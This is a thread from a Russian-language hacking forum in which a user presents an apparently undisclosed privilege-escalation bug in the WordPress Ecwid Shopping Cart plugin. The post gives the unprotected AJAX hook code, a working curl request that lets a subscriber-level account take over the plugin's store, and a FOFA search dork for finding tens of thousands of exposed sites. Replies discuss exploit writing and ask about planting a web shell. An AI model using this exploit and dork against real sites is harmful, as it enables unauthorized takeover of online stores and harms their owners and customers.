• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья 0Day WP Plagin Ecwid Shopping Cart

Baiden

(L3) cache
Пользователь
Регистрация
29.10.2024
Сообщения
151
Реакции
104
Приветствую, решил внести свой вклад в развитие форума, моя первая статья не судите строго.( все аргументированную критику готов принять в коментах) .
За 2 месяца изучения WP plagin я начал не много разбираться и читать код и понимать куда смотреть и как вообще все работает что бы искать уязвимости в плагинах! ладно это все предисловия опустим их и пойдем к самой уязвимости !
В работу был взят плагин https://wordpress.org/plugins/ecwid-shopping-cart/ первое что я смотрю на странице плагина прежде чем скачать его и начать изучать это на описание плагина что именно он делает, просто есть плагины у которых функционал элементарный и там просто не возможно допустить ошибку в написание кода, а вот большие плагины с большим функционалом которые скорей всего пишутся не одним человеком( а скорей всего индусами + ИИ) это то что нам нужно, там ошибок будет просто уйма и при чем очевидных. Вот в этом плагине как раз такое было и найдено , откроем архив и первым делом посмотрим что делают AJAX хуки файл ecwid-shopping-cart.php
PHP:
if ( is_admin() ) {
    add_action( 'init', 'ecwid_apply_theme', 0 );
    add_action( 'init', 'ecwid_maybe_remove_emoji' );

    add_action( 'admin_init', 'ecwid_settings_api_init' );
    add_action( 'admin_init', 'ecwid_check_version' );
    add_action( 'wp_ajax_ec_check_api_cache', 'ecwid_admin_check_api_cache' );

    add_action( 'admin_enqueue_scripts', 'ecwid_common_admin_scripts' );
    add_action( 'admin_enqueue_scripts', 'ecwid_register_admin_styles' );
    add_action( 'admin_enqueue_scripts', 'ecwid_register_settings_styles' );
    add_action( 'admin_enqueue_scripts', 'ecwid_enqueue_cache_control' );

    add_action( 'wp_ajax_ecwid_hide_vote_message', 'ecwid_hide_vote_message' );
    add_action( 'wp_ajax_ecwid_hide_message', 'ecwid_ajax_hide_message' );
    add_action( 'wp_ajax_ecwid_reset_categories_cache', 'ecwid_reset_categories_cache' );
    add_action( 'wp_ajax_ecwid_create_store', 'ecwid_ajax_create_store' );
    add_action( 'wp_ajax_ecwid_sync_products', 'ecwid_sync_products' );

    add_action( 'admin_post_ecwid_sync_products', 'ecwid_sync_products' );
    add_action( 'admin_post_ec_connect', 'ecwid_admin_post_connect' );
    add_action( 'admin_post_ecwid_get_debug', 'ecwid_get_debug_file' );

    add_action( 'admin_head', 'ecwid_ie8_fonts_inclusion' );
    add_action( 'get_footer', 'ecwid_admin_get_footer' );
    add_action( 'admin_init', 'ecwid_process_oauth_params' );
    add_action( 'admin_notices', 'ecwid_show_admin_messages' );
    add_filter( 'plugin_action_links_' . ECWID_PLUGIN_BASENAME, 'ecwid_plugin_actions' );
    add_filter( 'tiny_mce_before_init', 'ecwid_tinymce_init' );
} else {

is_admin() в WordPress возвращает true для любой загрузки из административной части, в том числе для wp-admin/admin-ajax.php. Это не проверка ролей/прав, а просто индикатор «мы сейчас в backend‑части WordPress».Значит, когда любой залогиненный пользователь (даже subscriber) обращается к admin-ajax.php, во время инициализации плагина условие is_admin() срабатывает, и код внутри выполняется.
Внутри этого блока регистрируются «админские» ajax‑хуки, в том числе:
PHP:
add_action( 'wp_ajax_ecwid_create_store', 'ecwid_ajax_create_store' );
add_action( 'wp_ajax_ecwid_sync_products', 'ecwid_sync_products' );

Префикс wp_ajax_ означает, что к действию допускаются все авторизованные пользователи. WordPress автоматически проверяет только факт логина, а дополнительные права разработчик должен добавить сам (через current_user_can или проверку nonce). В этой функции таких проверок нет, поэтому любой вошедший пользователь может вызвать действие.
Теперь нам осталось установить плагин локально что бы проверить и подтвердить что любой авторизованный пользователь может перепривязать управление плагином на себя и управлять именно через плагин магазином. Регаем в админке пользователя с правами подписчик получаем его куки сохраняем и отправляем запрос
Код:
 curl -i   -b cookie1.txt   -X POST   "http://localhost/mywp/wp-admin/admin-ajax.p
hp?action=ecwid_create_store"
HTTP/1.1 200 OK
Date: Mon, 10 Nov 2025 13:45:37 GMT
Server: Apache/2.4.65 (Debian)
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Content-Type: text/html; charset=UTF-8
и получаем положительный ответ и подтверждение уязвимости , теперь идем в админку и смотри на профиль плагина
1762851317179.png
1762851640032.png
А все из за того что данная функция не делает ни current_user_can(), ни check_ajax_referer(), поэтому подписчик сразу попадает внутрь.
Фофа дорка body="/wp-content/plugins/ecwid-shopping-cart/js/frontend.js" показывает 42,152+ уязвимых сайтов.
Кому интересно может скачать плагин и самим всем проверить, но есть маленький нюанс что бы активировать весь функционал плагина надо оплатить 5 евро)
 
для каких версий ВП\мода актуально?
 
для каких версий ВП\мода актуально?
Честно даже не могу сказать, так как использую всегда обновый вп по ядру ну и плагины под ядро всегда подстраиваются
 
Честно даже не могу сказать, так как использую всегда обновый вп по ядру ну и плагины под ядро всегда подстраиваются
то есть актуально для последних версий, если правильно понимаю.

А вопрос вот откуда CVE-2025-32195 WordPress Ecwid Shopping Cart Plugin <= 7.0 Cross Site Scripting (XSS)
то бишь о "зеродейности" + насколько там еще уязвимостей.

На wordress.com 20K+ скачиваний, но еще есть сайт производителя + шаблоны, которые имеют плагин предустановленным или подтягивают его.
fofa может дать не все ссылки

И еще - вопрос в сторону. Я правильно понимаю, что POC не спешат выкладывать в паблик и написание эксплойтов по CVE - это отдельный жанр искусства?
 
то есть актуально для последних версий, если правильно понимаю.

А вопрос вот откуда CVE-2025-32195 WordPress Ecwid Shopping Cart Plugin <= 7.0 Cross Site Scripting (XSS)
то бишь о "зеродейности" + насколько там еще уязвимостей.

На wordress.com 20K+ скачиваний, но еще есть сайт производителя + шаблоны, которые имеют плагин предустановленным или подтягивают его.
fofa может дать не все ссылки

И еще - вопрос в сторону. Я правильно понимаю, что POC не спешат выкладывать в паблик и написание эксплойтов по CVE - это отдельный жанр искусства?
Безусловно, написание POC по CVE это настоящее искусство, требующее достаточных знаний в техническом аспекте...
 
Безусловно, написание POC по CVE это настоящее искусство, требующее достаточных знаний в техническом аспекте...
не знаю. Показалось, что не всегда так.
Окунь, заточенные на конкретный вектор атаки, или руками - даст детали. ИИ поможет. Этим занимался, насколько припоминаю ГрозныйЭнди.
Или он косил под простака...- хз
 
А вопрос вот откуда CVE-2025-32195 WordPress Ecwid Shopping Cart Plugin <= 7.0 Cross Site Scripting (XSS)
то бишь о "зеродейности" + насколько там еще уязвимостей.
Ты путаешь xss с эскалацией привилегий, то что ты указала это xss уязвимость найденная в этом плагине , я про демонстрировал как подписчик может стать владельцем шопа(эскалация привилегий )
а на счет POC или эксплоит с вп какая то странная дичь которую я заметил за изучения публичных POC практически нету , как будто всем в кайф работать в баг баунти и они нашли язву и отправили отчет в баг баунти и на этом все
 
ты путаешь xss с эскалацией привилегий, то что ты указала это xss уязвимость
не путаю, поверь)), поднять права до админских через модуль это круто. Я о другом. В 2025 нашли хсс,но не нашли фильтрацию элементрных параметров.
И вот появилась мысль что поправили всё и твой баг тоже)
 
не путаю, поверь)), поднять права до админских через модуль это круто. Я о другом. В 2025 нашли хсс,но не нашли фильтрацию элементрных параметров.
И вот появилась мысль что поправили всё и твой баг тоже)
если бы это было так )) то я бы не писал статью... плагин обновлен 4 месяца назад а хсску нашли в апреле)
 
не совсем понял, какие возможности предоставляет эксплуатация данного poc? новый пользователь сможет редактировать php файлы плагинов или тем для загрузки веб-шелла?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх